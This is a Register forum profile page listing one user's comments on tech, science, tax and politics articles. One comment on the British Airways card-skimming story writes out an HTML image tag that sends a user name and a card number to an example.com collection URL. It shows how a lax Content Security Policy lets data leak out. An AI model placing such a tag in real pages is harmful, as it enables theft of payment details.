* Posts by Brewster's Angle Grinder

2057 posts • joined 23 May 2011

Galileo's magnifico measurement: 1976 redshift test updated

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This seems to be a more recent report. As of Aug 15, they are only being used for emergency beacons. But it looks as if they might get used for navigation once there have been software upgrades to the satellites and the ground station.

And the next 7nm laptop processor will be designed by In, er, AM, um, Qualcomm: The 64-bit Arm Snapdragon 8CX

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Surely calling it "CX" is thumbing their nose at Intel by using the name of the 8086's counter register. Sort of "8 and counting..."

UK taxman told to chill out 'cos loan charge is whacking tax dodgers and whoopsies alike

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Actually, you can average your income provided you're a farmer or an author of copyrighted works (yes, including software devs).

MongoDB's Atlas shrugs, with all NoSQL biz's customer growth resting on its shoulders

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Most of what's wrong in the world in two words: sales team.

Oz opposition folds, agrees to give Australians coal in their stockings this Christmas

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I have a smidgen of sympathy for the politicians. Who wants to be confronted by the parent of a dead child (or child of a dead parent) claiming their loved one would have been alive but for the politician's decision to stop law enforcement snooping.

Intel eggheads put bits in a spin to try to revive Moore's law

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Re: Oops

The chunk of the article you quote is a TYPO; the final ferromagnetic should read "ferroelectric". I haven't got easy access to email at the moment or I would send it in. Somebody tell 'em. With that in place it makes sense.

Thought black holes were donut-shaped? It turns out they're more like deadly fountains

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Re: Well, the accretion disk anyhow

"...can a singularity be correctly described..."

No, I'm not sure singularities can be described. That's the point: they're placeholders for a physical process yet to be uncovered.

£10k offer to leave firm ASAP is not blackmail, Capita told by judge

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Lawyers are sticklers for meaning

I've never heard of it happening. And it's sounds really improper. But the OED says blackmail is:

The action....of demanding money from someone in return for not revealing compromising information which one has about them.

So for it to be blackmail, she would have to be demanding the money and threatening to "go public" if she didn't receive it.

But she's already gone public and doesn't want the money. So it certainly sounds coercive, and it might have been bribery, but it wasn't blackmail; it's the wrong way round.

Q: If Pesky Pepper had a peek at patient papers, at how many patient papers did Pesky Pepper peek? A: 231

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Re: Norfolk

Which is why she should have used "I was looking for signs they might be Deep Ones" as her excuse.

It's all a matter of time: Super-chill atomic clock could sniff gravitational waves, dark matter

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Re: Complications

"If the accuracy of atomic clocks is dependent upon gravity (as just demonstrated), we may have a serious problem with the definition of time as that is currently defined using atomic clocks."

There wouldn't be a problem with the definition of time. But we would (and do) have to be careful comparing different clocks.

This actually caused a problem early on and the time signal formed from atomic clocks (TAI) ended up being a smeared average of clocks at different altitudes. I don't know why this mistake was made, since it was well understood that time on the earth's surface would be different to time at it's centre or at the centre of the solar system, and we had (and still have) different timescales to deal with this.

Check your repos... Crypto-coin-stealing code sneaks into fairly popular NPM lib (2m downloads per week)

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Re: Towards a better library/app model

"The trouble is we don't have recognisable templates for such outfits that everyday coders, tech authors, librarians, testers etc. can use to club together."

Because most of those jobs are deeply boring and people wouldn't do them unless paid.

Shocker: UK smart meter rollout is crap, late and £500m over budget

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I haven't looked at this case, but Britain has a long and proud tradition of "gold plating" European directives. So I suspect, if I bothered to follow the link in the article, I'd find we were doing way more than was required. It's a habit which has fed our distrust of the EU and yet it originates in Whitehall.

3 is the magic number (of bits): Flip 'em at once and your ECC protection can be Rowhammer'd

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Re: Bravo! *slow clap*

The researchers did come across as surprisingly ignorant about ECC. Still, it's news that you can successfully row-hammer it in practice.

Alphabet gives bipedal robots the Schaft 'cos no one wants to buy its creepy machine maker

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Re: After the Google acquisition, it completely clammed up

"Daleks can fly. It's canon."

Yeah, Daleks are shaped to be loaded into a cannon. Like the fuse. And off they fly.

YouTube supremo says vid-streaming-slash-piracy giant can't afford EU's copyright overhaul

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The copyright rule is simple: the mouse never goes out of copyright.

Brit boffins build 'quantum compass'... say goodbye to those old GPS gizmos, possibly

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Re: It's not a compass.

"...that supposedly has a quantum noise limited integration error."

You want measurements accurate down to the Planck scale? Jeez, you guys are hard task masters.

Seriously, I don't know what they say in the video, but you can accumulate an error of hundreds of thousands of atomic diameters and still be accurate to less than a millimetre.

I found a security hole in Steam that gave me every game's license keys and all I got was this... oh nice: $20,000

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Re: Tsk tsk tsk

If you think the likes of Portal 2 is going to be written by people in their spare time, then think again.

Perhaps---perhaps---if we switched to UBI then abolition of copyright would be viable.

UK.gov to roll out voter ID trials in 2019 local elections

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Re: So...

"There is a huge scandal with postal voting"

And how is forcing someone to show photo id at a polling station going to stop that?

McAfee says cloud security not as bad as we feared… it's much worse

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Re: Well duh

"Isn't fog just a cloud at low altitude?"

So we need to make sure all our data centres are in orbit. That way we can sort the altitude problem and ensure we can clearly see all the instances we have.

Mine's the spacesuit for the service call.

Budget 2018: UK goes it alone on digital sales tax for tech giants

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Re: There will be £10m for a scheme to identify ways to keep physics and maths teachers in schools

There are 3,436 state funded secondary schools. [Table2a in this .xlsx] So that works out at ~£3000 per school. So that ain't much of a boost.

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Do manufacturers really pass on increased advertising costs like they were a prise rise in a component or do they set a fixed budget (based on the market situation and available cash) and then spend it as best they can?

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You're paying for Facebook? Or Twitter? Or Google search?

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The celebratory 50p should show two fingers being waved at the viewer and read, "Fuck you all."

Watchdog sceptical UK.gov's Universal Credit can handle 8.5m benefits claimants

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Re: Hmm

"it...creates a standardised system."

Unfortunately it has to deal with a non-standardised population.

The D in Systemd stands for 'Dammmmit!' A nasty DHCPv6 packet can pwn a vulnerable Linux box

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Re: Meh

But how long has IPv4 been around? I'm not sold on IPv6, but any new technology is going to face a bedding in period as we get to grips with it. Nobody will "understand [IPv6] well enough to implement it correctly" until people have been out there and implemented it incorrectly. And that's true of any IPv4 replacement - good, bad, or IPv6.

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You know you're on a tech site when the clickbait is an IPv6-systemd crossover bug.

Erm... what did you say again, dear reader?

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Re: Erm...

So what we're saying is that "erm" is really a portmanteau of "uh" and "um" and should correctly be spelt, uhm?

Core-blimey! Riddle of Earth's mysterious center finally 'solved' by smarty seismologists

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Re: Gone fission....

There's tidal heating of the core by the moon. I imagine that dwarfs the energy from radioactive decay.

(It's no coincidence that all the small rocky planets with an internal dynamo are having their cores massaged by a larger neighbour. )

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Re: Bold claim ....

You can't write anything these days without a Martian taking offence.

Morrisons supermarket: We're taking payroll leak liability fight to UK Supreme Court

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Re: I expect to be flamed

"Encrypt it with a password/secret that he didn't know."

Okay, let's suppose a prescient designer set up the system so that when an encrypted archive is exported, the password is handed to a nominated second user, and that the two users don't collude while transferring it to the external auditor, then we still have a person (the external auditor) who has access to the data on unaudited media and has the password.

NASA gently nudges sleeping space 'scopes Chandra, Hubble out of gyro-induced stupor

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Re: The Optimal Number of Gyroscopes

All the Clapp paper.

Does Google make hardware just so nobody buys it?

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Re: But muh headphone jack!

Using a corded (?chorded?) mouse means never having to search around for batteries or battery charger at inopportune moments.

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Re: you can't make a Veblen good out of a dumb computer terminal

"No, Arthur - you are being silly."

In fairness, Andrew, he's a cat; it comes with the (very-well marked) territory.

Hate to burst your Hubble: Science stops as boffins scramble to diagnose gyro problem

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Re: One can only hope

"These 2 telescopes have a shorter focal length then Hubble does so they won't be able to see as far into deep space as Hubble can."

I didn't realise they made telescopes with parsec focal lengths! But I guess that's what makes astronomy so tricky: focusing light from objects so far away.

*Sigh* Stars are "prefocused" (they're point sources at infinity) and so focal length has bugger all effect on how far a telescope can see. It does look as if these scopes won't see as far as Hubble, but that's because they're not designed to be cooled [SOURCE] and so won't be able to separate (infra)red-shifted starlight from thermal noise. However the focal length will give it a much wider field of view than Hubble and it will be able to see fainter objects at much closer distances [ibid].

HMRC rapped as Brexit looms and customs IT release slips again

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Re: no surprise

You're not going to convince me the earth is round by calling me a racist; there's just no depth to that subterranean level of arguing.

UK ruling party's conference app editable by world+dog, blabs members' digits

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This is the party that's promising to solve the Northern Irish border with "technology".

Send up a satellite to zap space junk if you want Earth's orbit to be clean, say boffins

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Re: Idiots

First, your numbers are out by an order of magnitude. 60mN is 0.06 not 0.006. (Innumerate?) So the product is 108.

Secondly, you don't get to energy by multiplying force and time. The equation you want is Newton's second law, F=Δp/Δt, which we can rewrite as Δp = FΔt to show that a force applied over a period of time gives a change in momentum. Dividing this figure by the mass will calculate the change in velocity, but because you were out by an order of magnitude, it's actually 54cm/s.

Now we can calculate the change in kinetic energy of the satellite: it will be ½m(v+Δv)² - ½mv² which is mvΔv + ½mΔv² . (This should look familiar as it's the Galilean equation for acceleration multiplied by mass. We could have gone that route directly using the "F=ma" form of the second law, but we've got a deltaV so we'll stick with this.)

We'll use your velocity of 9.4E3m/s. And as Δv is tiny we'll discard the Δv² squared term and call the change in energy mvΔv. Which is 2E3 * 9.4E3 * 0.054 = ~1MJ (~50kW) This figure is a bit high because, I think, you've used the launch velocity not the orbital velocity. But it's the right ballpark. This energy is big because most of the transferred megajoule comes from the kinetic energy the plasma particles have from already being in orbit.

Anyway, detailed analysis suggest the impulse supplied will be enough to get an object in 1000km orbit down to 300km orbit, where the atmosphere will do the rest. There's an in-depth analysis here.

So, on the new numeric GCSE grading system, I reckon I'd give you -1.

Fortnite 'fesses up: New female character's jiggly bits 'unintended' and 'embarrassing'

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Re: Meanwhile in World of Warcraft...

I refer you to this thirty-year old cartoon from Dragon Magazine 140. (And note the cleric on the cover is fully armoured.)

New theory: The space alien origins of vital bio-blueprints for dinosaurs. And cats. And humans. And everything else

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I'm normally critical of the panspermia crowd. But it appears that naturally occurring phosphates aren't in a form suitable for life. Plants and microbes convert it into the form we need. But that leaves the small problem of how phosphate got into the form necessary for life before there was any life. If most of the earth's oceans came from comets and that was contaminated with biology-friendly phosphates, then we're quids in. So this research has merit.

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Re: Earthly origins

According to the paper, the phosphates in the earth's crust aren't very water soluble or useful for biology. Plants and microbes overcome this for us but that's no good before there were plants and microbes -- and for life to get going we did need to be swimming in it; every DNA or RNA nucleotide ("letter") needs at least one phosphate anion.

But if comets and meteors are polluted with space-synthesized phosphates of the sort life needs, then perhaps that's where it came from.

Former Apple engineer fights iPhone giant for patent credit and denied cash, says Steve Jobs loved his 'killer ideas'

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Good luck, Darren!

Linux kernel 'give me root, now' security hole sighted, dubbed 'Mutagen Astronomy'

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Re: A Difficult Current Iteration only a Worthy Few Know About and Need to Know ?

It's grammar is your grammar.

Oracle pours a mug o' Java 11 for its addicts, tips pot of Binary Code License down the sink

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I presumed the work involved in string reallocation would be the same for both approaches and so excluded the substring step for clearer exposition.

But, because I've not had to code pure C in a long time and there is a certain delight in being able to do this stuff, I think it should be:

char* res = malloc(strlen(str)+1);

return res != NULL ? strcpy(res,str) : NULL

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Unless they're numpties (and this is Oracle, so I don't discount that) a regex will be slower and use more memory than a dedicated function.

In C, stripping leading whitespace is something like:

while (isspace(*str)) ++str;

By contrast with string.replace(/^\s+/,'') the compiler parses the regex into an internal representation, and then, at run time, that's passed to the replace function which evaluates it using an internal engine and splices replacements into matching substrings. It's just no comparison.

HMRC contractor scores IR35 payout after yet another taxman blunder

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Re: "Her firm, SJW Marketing..."

Given her name is Susan Winchester, I think we can reasonably speculate it's her initials and that her middle name is Jane, Jennifer, Julia, etc...

Flying to Mars will be so rad, dude: Year-long trip may dump 60% lifetime dose of radiation on you

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Re: Six months?????

Rich, I'd back you against the cowboys, but given the shielding requirements, it may make sense to have that mass as fuel. I could easily imagine a slow outbound trip and then sprinting home, burning the shielding. It's one of those things were someone does have to run the numbers and see what's best.

British Airways hack: Infosec experts finger third-party scripts on payment pages

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Re: Possible mitigation?

The CSP will do this for you already. But you have to lock everything down. If, for example, you allow images from anywhere then I can exfiltrate data by including the image:

<img src="http://example.com/save-hacked-details/?user=brewsters-angle-grinder&credit-card=1234-0000-8000-1234&">

Pluto is more alive than Mars, huff physicists who are still not over dwarf planet's demotion

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Re: "no planet clears its orbit"

Before you "tell that to Jupiter", have a word with 884 Priamus, 624 Hektor and 3317 Paris and their opponents 1404 Ajax, 588 Achilles and 1647 Menelaus.

That said, I agree there's a difference between having camps of rocks at your Lagrange points and having NEPTUNE in your orbit. And while focusing on hydrostatic is interesting, plenty of moons are in hydrostatic equilibrium.

AI biz borks US election spending data by using underpaid Amazon Mechanical Turks

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No need for AI; a lottery will suffice.

Citizens' juries have good results. IIRC you can't completely do away with elected politicians (somebody has to set the questions and somebody has to implement the answers) but they produce good policy; much better than referenda.

Bug bounty alert: Musk lets pro hackers torpedo Tesla firmware risk free

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I'm a good faith researcher doing bad faith research. Do I qualify?

What about if I'm a bad faith researcher but doing good faith research?

Researchers: we have inquiring minds.

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